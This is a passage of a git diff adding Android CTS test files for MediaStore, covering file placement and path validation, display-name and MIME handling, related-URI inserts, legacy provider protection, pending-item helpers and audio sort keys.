+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.OutputStream;
+import java.util.Optional;
+
+@RunWith(Parameterized.class)
+public class MediaStorePlacementTest {
+ static final String TAG = "MediaStorePlacementTest";
+
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ private Uri mExternalImages;
+ private Uri mExternalVideo;
+
+ private ContentValues mValues = new ContentValues();
+ private Bundle mExtras = new Bundle();
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+
+ mValues.clear();
+ mExtras.clear();
+ }
+
+ @Test
+ public void testDefault() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+ mExternalImages, "image/jpeg");
+
+ // By default placed under "Pictures" with sane name
+ final File before = ProviderTestUtils.getRelativeFile(uri);
+ assertTrue(before.getName().startsWith("cts"));
+ assertTrue(before.getName().endsWith("jpg"));
+ assertEquals("Pictures", before.getParent());
+ }
+
+ @Test
+ public void testIgnored() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+ mExternalImages, "image/jpeg");
+
+ {
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.SIZE, 0);
+ assertEquals(0, mContentResolver.update(uri, values, null, null));
+ }
+
+ // Make sure shady paths can't be passed in
+ for (String probe : new String[] {
+ "path/.to/dir",
+ ".dir",
+ "path/../dir",
+ }) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.RELATIVE_PATH, probe);
+ try {
+ mContentResolver.update(uri, values, null, null);
+ fail();
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+ }
+
+ @Test
+ public void testDisplayName_SameMime() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+ mExternalImages, "image/jpeg");
+
+ // Movement within same MIME type is okay
+ final File before = ProviderTestUtils.getRelativeFile(uri);
+ final String name = "CTS" + System.nanoTime() + ".JPEG";
+ assertTrue(updatePlacement(uri, null, Optional.of(name)));
+
+ final File after = ProviderTestUtils.getRelativeFile(uri);
+ assertEquals(before.getParent(), after.getParent());
+ assertEquals(name, after.getName());
+ }
+
+ @Test
+ public void testDisplayName_DifferentMime() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+ mExternalImages, "image/jpeg");
+
+ final File before = ProviderTestUtils.getRelativeFile(uri);
+ assertTrue(before.getName().endsWith(".jpg"));
+
+ // Movement across MIME types is not okay; verify that original MIME
+ // type remains intact
+ final String name = "cts" + System.nanoTime() + ".png";
+ assertTrue(updatePlacement(uri, null, Optional.of(name)));
+
+ final File after = ProviderTestUtils.getRelativeFile(uri);
+ assertTrue(after.getName().startsWith(name));
+ assertTrue(after.getName().endsWith(".jpg"));
+ }
+
+ @Test
+ public void testDirectory_Valid() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+ mExternalImages, "image/jpeg");
+
+ final File before = ProviderTestUtils.getRelativeFile(uri);
+ assertEquals("Pictures", before.getParent());
+
+ {
+ assertTrue(updatePlacement(uri,
+ Optional.ofNullable(null), null));
+ final File after = ProviderTestUtils.getRelativeFile(uri);
+ assertEquals("Pictures", after.getParent());
+ }
+ {
+ assertTrue(updatePlacement(uri,
+ Optional.of("DCIM/Vacation"), null));
+ final File after = ProviderTestUtils.getRelativeFile(uri);
+ assertEquals("DCIM/Vacation", after.getParent());
+ }
+ {
+ assertTrue(updatePlacement(uri,
+ Optional.of("DCIM/Misc"), null));
+ final File after = ProviderTestUtils.getRelativeFile(uri);
+ assertEquals("DCIM/Misc", after.getParent());
+ }
+ {
+ assertTrue(updatePlacement(uri,
+ Optional.of("Pictures/Misc"), null));
+ final File after = ProviderTestUtils.getRelativeFile(uri);
+ assertEquals("Pictures/Misc", after.getParent());
+ }
+ {
+ assertTrue(updatePlacement(uri,
+ Optional.of("Pictures"), null));
+ final File after = ProviderTestUtils.getRelativeFile(uri);
+ assertEquals("Pictures", after.getParent());
+ }
+ }
+
+ @Test
+ public void testDirectory_Invalid() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+ mExternalImages, "image/jpeg");
+
+ assertFalse(updatePlacement(uri,
+ Optional.of("Random"), null));
+ assertFalse(updatePlacement(uri,
+ Optional.of(Environment.DIRECTORY_ALARMS), null));
+ }
+
+ @Test
+ public void testDirectory_InsideSandbox() throws Exception {
+ Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
+
+ final File dir = ProviderTestUtils.getVolumePath(mVolumeName);
+ final File file = ProviderTestUtils.stageFile(R.drawable.scenery, Environment.buildPath(dir,
+ "Android", "media", "android.provider.cts", System.nanoTime() + ".jpg"));
+ final Uri uri = ProviderTestUtils.scanFile(file);
+
+ assertFalse(updatePlacement(uri,
+ Optional.of("Android/media/android.provider.cts/foo"), null));
+ assertFalse(updatePlacement(uri,
+ Optional.of("Android/media/com.example/foo"), null));
+ assertFalse(updatePlacement(uri,
+ Optional.of("DCIM"), null));
+ }
+
+ @Test
+ public void testDirectory_OutsideSandbox() throws Exception {
+ Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
+
+ final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
+ mExternalImages, "image/jpeg");
+
+ assertFalse(updatePlacement(uri,
+ Optional.of("Android/media/android.provider.cts/foo"), null));
+ assertFalse(updatePlacement(uri,
+ Optional.of("Android/media/com.example/foo"), null));
+ assertTrue(updatePlacement(uri,
+ Optional.of("DCIM"), null));
+ }
+
+ @Test
+ public void testRelated() throws Exception {
+ final Uri unusualUri = stageImageInAudio();
+
+ // Normal file creation should fail (image in audio)
+ mValues.put(MediaColumns.DISPLAY_NAME, "edited" + System.nanoTime());
+ mValues.put(MediaColumns.MIME_TYPE, "image/png");
+ mValues.put(MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_ALARMS + "/");
+ try {
+ mContentResolver.insert(mExternalImages, mValues, mExtras);
+ fail();
+ } catch (Exception expected) {
+ }
+
+ // But if we leverage item already there, we can succeed
+ mExtras.putParcelable(MediaStore.QUERY_ARG_RELATED_URI, unusualUri);
+ final Uri probeUri = mContentResolver.insert(mExternalImages, mValues, mExtras);
+ assertNotNull(probeUri);
+ assertEquals(ProviderTestUtils.getRelativeFile(unusualUri).getParent(),
+ ProviderTestUtils.getRelativeFile(probeUri).getParent());
+
+ // And we should have edit and delete access, since we created it
+ try (OutputStream out = mContentResolver.openOutputStream(probeUri)) {
+ out.write(42);
+ }
+ assertEquals(1, mContentResolver.delete(probeUri, null));
+ }
+
+ @Test
+ public void testRelated_InvalidMime() throws Exception {
+ final Uri unusualUri = stageImageInAudio();
+
+ // Normal file creation should fail (video doesn't match related image)
+ mValues.put(MediaColumns.DISPLAY_NAME, "edited" + System.nanoTime());
+ mValues.put(MediaColumns.MIME_TYPE, "video/mp4");
+ mValues.put(MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_ALARMS + "/");
+ mExtras.putParcelable(MediaStore.QUERY_ARG_RELATED_URI, unusualUri);
+ try {
+ mContentResolver.insert(mExternalVideo, mValues, mExtras);
+ fail();
+ } catch (Exception expected) {
+ }
+ }
+
+ @Test
+ public void testRelated_InvalidPath() throws Exception {
+ final Uri unusualUri = stageImageInAudio();
+
+ // Normal file creation should fail (path not exact match)
+ mValues.put(MediaColumns.DISPLAY_NAME, "edited" + System.nanoTime());
+ mValues.put(MediaColumns.MIME_TYPE, "image/jpeg");
+ mValues.put(MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_ALARMS + "/cts/");
+ mExtras.putParcelable(MediaStore.QUERY_ARG_RELATED_URI, unusualUri);
+ try {
+ mContentResolver.insert(mExternalImages, mValues, mExtras);
+ fail();
+ } catch (Exception expected) {
+ }
+ }
+
+ private Uri stageImageInAudio() throws Exception {
+ Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
+
+ final String displayName = "cts" + System.nanoTime() + ".jpg";
+ final File file = Environment.buildPath(ProviderTestUtils.getVolumePath(mVolumeName),
+ Environment.DIRECTORY_ALARMS, displayName);
+ return ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.scenery, file));
+ }
+
+ private boolean updatePlacement(Uri uri, Optional<String> path, Optional<String> displayName)
+ throws Exception {
+ final ContentValues values = new ContentValues();
+ if (path != null) {
+ values.put(MediaColumns.RELATIVE_PATH, path.orElse(null));
+ }
+ if (displayName != null) {
+ values.put(MediaColumns.DISPLAY_NAME, displayName.orElse(null));
+ }
+ try {
+ return (mContentResolver.update(uri, values, null, null) == 1);
+ } catch (Exception tolerated) {
+ return false;
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
new file mode 100644
index 0000000..7b2e562
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Build;
+import android.os.storage.StorageManager;
+import android.os.storage.StorageVolume;
+import android.provider.BaseColumns;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.Set;
+
+@RunWith(Parameterized.class)
+public class MediaStoreTest {
+ static final String TAG = "MediaStoreTest";
+
+ private static final long SIZE_DELTA = 32_000;
+
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ private Uri mExternalImages;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ private Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ /**
+ * Sure this is pointless, but czars demand test coverage.
+ */
+ @Test
+ public void testConstructors() {
+ new MediaStore();
+ new MediaStore.Audio();
+ new MediaStore.Audio.Albums();
+ new MediaStore.Audio.Artists();
+ new MediaStore.Audio.Artists.Albums();
+ new MediaStore.Audio.Genres();
+ new MediaStore.Audio.Genres.Members();
+ new MediaStore.Audio.Media();
+ new MediaStore.Audio.Playlists();
+ new MediaStore.Audio.Playlists.Members();
+ new MediaStore.Files();
+ new MediaStore.Images();
+ new MediaStore.Images.Media();
+ new MediaStore.Images.Thumbnails();
+ new MediaStore.Video();
+ new MediaStore.Video.Media();
+ new MediaStore.Video.Thumbnails();
+ }
+
+ @Test
+ public void testRequireOriginal() {
+ assertFalse(MediaStore.getRequireOriginal(mExternalImages));
+ assertTrue(MediaStore.getRequireOriginal(MediaStore.setRequireOriginal(mExternalImages)));
+ }
+
+ @Test
+ public void testGetMediaScannerUri() {
+ // query
+ Cursor c = mContentResolver.query(MediaStore.getMediaScannerUri(), null,
+ null, null, null);
+ assertEquals(1, c.getCount());
+ c.close();
+ }
+
+ @Test
+ public void testGetVersion() {
+ // We should have valid versions to help detect data wipes
+ assertNotNull(MediaStore.getVersion(getContext()));
+ assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_INTERNAL));
+ assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_EXTERNAL));
+ assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_EXTERNAL_PRIMARY));
+ }
+
+ @Test
+ public void testGetExternalVolumeNames() {
+ Set<String> volumeNames = MediaStore.getExternalVolumeNames(getContext());
+
+ assertFalse(volumeNames.contains(MediaStore.VOLUME_INTERNAL));
+ assertFalse(volumeNames.contains(MediaStore.VOLUME_EXTERNAL));
+ assertTrue(volumeNames.contains(MediaStore.VOLUME_EXTERNAL_PRIMARY));
+ }
+
+ @Test
+ public void testGetStorageVolume() throws Exception {
+ Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
+
+ final Uri uri = ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages);
+
+ final StorageManager sm = mContext.getSystemService(StorageManager.class);
+ final StorageVolume sv = sm.getStorageVolume(uri);
+
+ // We should always have a volume for media we just created
+ assertNotNull(sv);
+
+ if (MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName)) {
+ assertEquals(sm.getPrimaryStorageVolume(), sv);
+ }
+ }
+
+ @Test
+ public void testGetStorageVolume_Unrelated() throws Exception {
+ final StorageManager sm = mContext.getSystemService(StorageManager.class);
+ try {
+ sm.getStorageVolume(Uri.parse("content://com.example/path/to/item/"));
+ fail("getStorageVolume unrelated should throw exception");
+ } catch (IllegalArgumentException expected) {
+ }
+ }
+
+ @Test
+ public void testRewriteToLegacy() throws Exception {
+ final Uri before = MediaStore.Images.Media
+ .getContentUri(MediaStore.VOLUME_EXTERNAL_PRIMARY);
+ final Uri after = MediaStore.rewriteToLegacy(before);
+
+ assertEquals(MediaStore.AUTHORITY, before.getAuthority());
+ assertEquals(MediaStore.AUTHORITY_LEGACY, after.getAuthority());
+ }
+
+ /**
+ * When upgrading from an older device, we really need our legacy provider
+ * to be present to ensure that we don't lose user data like
+ * {@link BaseColumns#_ID} and {@link MediaColumns#IS_FAVORITE}.
+ */
+ @Test
+ public void testLegacy() throws Exception {
+ final ProviderInfo legacy = getContext().getPackageManager()
+ .resolveContentProvider(MediaStore.AUTHORITY_LEGACY, 0);
+ if (legacy == null) {
+ if (Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.R) {
+ // If we're a brand new device, we don't require a legacy
+ // provider, since there's nothing to upgrade
+ return;
+ } else {
+ fail("Upgrading devices must have a legacy MediaProvider at "
+ + "MediaStore.AUTHORITY_LEGACY to upgrade user data from");
+ }
+ }
+
+ // Verify that legacy provider is protected
+ assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
+ android.Manifest.permission.WRITE_MEDIA_STORAGE, legacy.readPermission);
+ assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
+ android.Manifest.permission.WRITE_MEDIA_STORAGE, legacy.writePermission);
+
+ // And finally verify that legacy provider is headless
+ final PackageInfo legacyPackage = getContext().getPackageManager().getPackageInfo(
+ legacy.packageName, PackageManager.GET_ACTIVITIES | PackageManager.GET_PROVIDERS
+ | PackageManager.GET_RECEIVERS | PackageManager.GET_SERVICES);
+ assertEmpty("Headless legacy MediaProvider must have no activities",
+ legacyPackage.activities);
+ assertEquals("Headless legacy MediaProvider must have exactly one provider",
+ 1, legacyPackage.providers.length);
+ assertEmpty("Headless legacy MediaProvider must have no receivers",
+ legacyPackage.receivers);
+ assertEmpty("Headless legacy MediaProvider must have no services",
+ legacyPackage.services);
+ }
+
+ private static <T> void assertEmpty(String message, T[] array) {
+ if (array != null && array.length > 0) {
+ fail(message);
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
new file mode 100644
index 0000000..0120afb
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreUtils.java
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.media;
+
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.provider.MediaStore.DownloadColumns;
+import android.provider.MediaStore.Downloads;
+import android.provider.MediaStore.MediaColumns;
+import android.text.format.DateUtils;
+
+import org.junit.Test;
+
+import java.io.FileNotFoundException;
+import java.io.OutputStream;
+import java.util.Objects;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+public class MediaStoreUtils {
+ @Test
+ public void testStub() {
+ }
+
+ /**
+ * Create a new pending media item using the given parameters. Pending items
+ * are expected to have a short lifetime, and owners should either
+ * {@link PendingSession#publish()} or {@link PendingSession#abandon()} a
+ * pending item within a few hours after first creating it.
+ *
+ * @return token which can be passed to {@link #openPending(Context, Uri)}
+ * to work with this pending item.
+ * @see MediaColumns#IS_PENDING
+ * @see MediaStore#setIncludePending(Uri)
+ * @see MediaStore#createPending(Context, PendingParams)
+ * @removed
+ */
+ @Deprecated
+ public static @NonNull Uri createPending(@NonNull Context context,
+ @NonNull PendingParams params) {
+ return context.getContentResolver().insert(params.insertUri, params.insertValues);
+ }
+
+ /**
+ * Open a pending media item to make progress on it. You can open a pending
+ * item multiple times before finally calling either
+ * {@link PendingSession#publish()} or {@link PendingSession#abandon()}.
+ *
+ * @param uri token which was previously returned from
+ * {@link #createPending(Context, PendingParams)}.
+ * @removed
+ */
+ @Deprecated
+ public static @NonNull PendingSession openPending(@NonNull Context context, @NonNull Uri uri) {
+ return new PendingSession(context, uri);
+ }
+
+ /**
+ * Parameters that describe a pending media item.
+ *
+ * @removed
+ */
+ @Deprecated
+ public static class PendingParams {
+ /** {@hide} */
+ public final Uri insertUri;
+ /** {@hide} */
+ public final ContentValues insertValues;
+
+ /**
+ * Create parameters that describe a pending media item.
+ *
+ * @param insertUri the {@code content://} Uri where this pending item
+ * should be inserted when finally published. For example, to
+ * publish an image, use
+ * {@link MediaStore.Images.Media#getContentUri(String)}.
+ */
+ public PendingParams(@NonNull Uri insertUri, @NonNull String displayName,
+ @NonNull String mimeType) {
+ this.insertUri = Objects.requireNonNull(insertUri);
+ final long now = System.currentTimeMillis() / 1000;
+ this.insertValues = new ContentValues();
+ this.insertValues.put(MediaColumns.DISPLAY_NAME, Objects.requireNonNull(displayName));
+ this.insertValues.put(MediaColumns.MIME_TYPE, Objects.requireNonNull(mimeType));
+ this.insertValues.put(MediaColumns.DATE_ADDED, now);
+ this.insertValues.put(MediaColumns.DATE_MODIFIED, now);
+ this.insertValues.put(MediaColumns.IS_PENDING, 1);
+ this.insertValues.put(MediaColumns.DATE_EXPIRES,
+ (System.currentTimeMillis() + DateUtils.DAY_IN_MILLIS) / 1000);
+ }
+
+ public void setPath(@Nullable String path) {
+ if (path == null) {
+ this.insertValues.remove(MediaColumns.RELATIVE_PATH);
+ } else {
+ this.insertValues.put(MediaColumns.RELATIVE_PATH, path);
+ }
+ }
+
+ /**
+ * Optionally set the Uri from where the file has been downloaded. This is used
+ * for files being added to {@link Downloads} table.
+ *
+ * @see DownloadColumns#DOWNLOAD_URI
+ */
+ public void setDownloadUri(@Nullable Uri downloadUri) {
+ if (downloadUri == null) {
+ this.insertValues.remove(DownloadColumns.DOWNLOAD_URI);
+ } else {
+ this.insertValues.put(DownloadColumns.DOWNLOAD_URI, downloadUri.toString());
+ }
+ }
+
+ /**
+ * Optionally set the Uri indicating HTTP referer of the file. This is used for
+ * files being added to {@link Downloads} table.
+ *
+ * @see DownloadColumns#REFERER_URI
+ */
+ public void setRefererUri(@Nullable Uri refererUri) {
+ if (refererUri == null) {
+ this.insertValues.remove(DownloadColumns.REFERER_URI);
+ } else {
+ this.insertValues.put(DownloadColumns.REFERER_URI, refererUri.toString());
+ }
+ }
+ }
+
+ /**
+ * Session actively working on a pending media item. Pending items are
+ * expected to have a short lifetime, and owners should either
+ * {@link PendingSession#publish()} or {@link PendingSession#abandon()} a
+ * pending item within a few hours after first creating it.
+ *
+ * @removed
+ */
+ @Deprecated
+ public static class PendingSession implements AutoCloseable {
+ /** {@hide} */
+ private final Context mContext;
+ /** {@hide} */
+ private final Uri mUri;
+
+ /** {@hide} */
+ public PendingSession(Context context, Uri uri) {
+ mContext = Objects.requireNonNull(context);
+ mUri = Objects.requireNonNull(uri);
+ }
+
+ /**
+ * Open the underlying file representing this media item. When a media
+ * item is successfully completed, you should
+ * {@link ParcelFileDescriptor#close()} and then {@link #publish()} it.
+ *
+ * @see #notifyProgress(int)
+ */
+ public @NonNull ParcelFileDescriptor open() throws FileNotFoundException {
+ return mContext.getContentResolver().openFileDescriptor(mUri, "rw");
+ }
+
+ /**
+ * Open the underlying file representing this media item. When a media
+ * item is successfully completed, you should
+ * {@link OutputStream#close()} and then {@link #publish()} it.
+ *
+ * @see #notifyProgress(int)
+ */
+ public @NonNull OutputStream openOutputStream() throws FileNotFoundException {
+ return mContext.getContentResolver().openOutputStream(mUri);
+ }
+
+ /**
+ * When this media item is successfully completed, call this method to
+ * publish and make the final item visible to the user.
+ *
+ * @return the final {@code content://} Uri representing the newly
+ * published media.
+ */
+ public @NonNull Uri publish() {
+ final ContentValues values = new ContentValues();
+ values.put(MediaColumns.IS_PENDING, 0);
+ values.putNull(MediaColumns.DATE_EXPIRES);
+ mContext.getContentResolver().update(mUri, values, null, null);
+ return mUri;
+ }
+
+ /**
+ * When this media item has failed to be completed, call this method to
+ * destroy the pending item record and any data related to it.
+ */
+ public void abandon() {
+ mContext.getContentResolver().delete(mUri, null, null);
+ }
+
+ @Override
+ public void close() {
+ // No resources to close, but at least we can inform people that no
+ // progress is being actively made.
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
new file mode 100644
index 0000000..5cdfa54
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_AudioTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.provider.MediaStore.Audio;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_AudioTest {
+ private String mKeyForBeatles;
+
+ @Before
+ public void setUp() throws Exception {
+ mKeyForBeatles = Audio.keyFor("beatles");
+ }
+
+ @Test
+ public void testKeyFor() {
+ assertEquals(mKeyForBeatles, Audio.keyFor("[beatles]"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("(beatles)"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles!"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles?"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("'beatles'"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles."));
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles,"));
+
+ assertEquals(mKeyForBeatles, Audio.keyFor(" beatles "));
+
+ assertEquals(mKeyForBeatles, Audio.keyFor("BEATLES"));
+
+ assertEquals(mKeyForBeatles, Audio.keyFor("the beatles"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("a beatles"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("an beatles"));
+
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles,the"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles,a"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles,an"));
+
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles, the"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles, a"));
+ assertEquals(mKeyForBeatles, Audio.keyFor("beatles, an"));
+
+ // test sorting
+ assertTrue(Audio.keyFor("areosmith").compareTo(mKeyForBeatles) < 0);
+ assertTrue(Audio.keyFor("coldplay").compareTo(mKeyForBeatles) > 0);
+
+ // test accented characters
+ assertTrue(Audio.keyFor("¿Aómo esto funciona?").compareTo(mKeyForBeatles) < 0);
+ assertTrue(Audio.keyFor("¿Cómo esto funciona?").compareTo(mKeyForBeatles) > 0);
+ assertTrue(Audio.keyFor("Le passé composé").compareTo(mKeyForBeatles) > 0);
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
new file mode 100644
index 0000000..ca0413c
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_AlbumsTest.java
@@ -0,0 +1,231 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.provider.cts.media.MediaStoreTest.TAG;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.BitmapFactory;
+import android.net.Uri;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Audio.Albums;
+import android.provider.MediaStore.Audio.Media;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio2;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.IOException;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Audio_AlbumsTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+
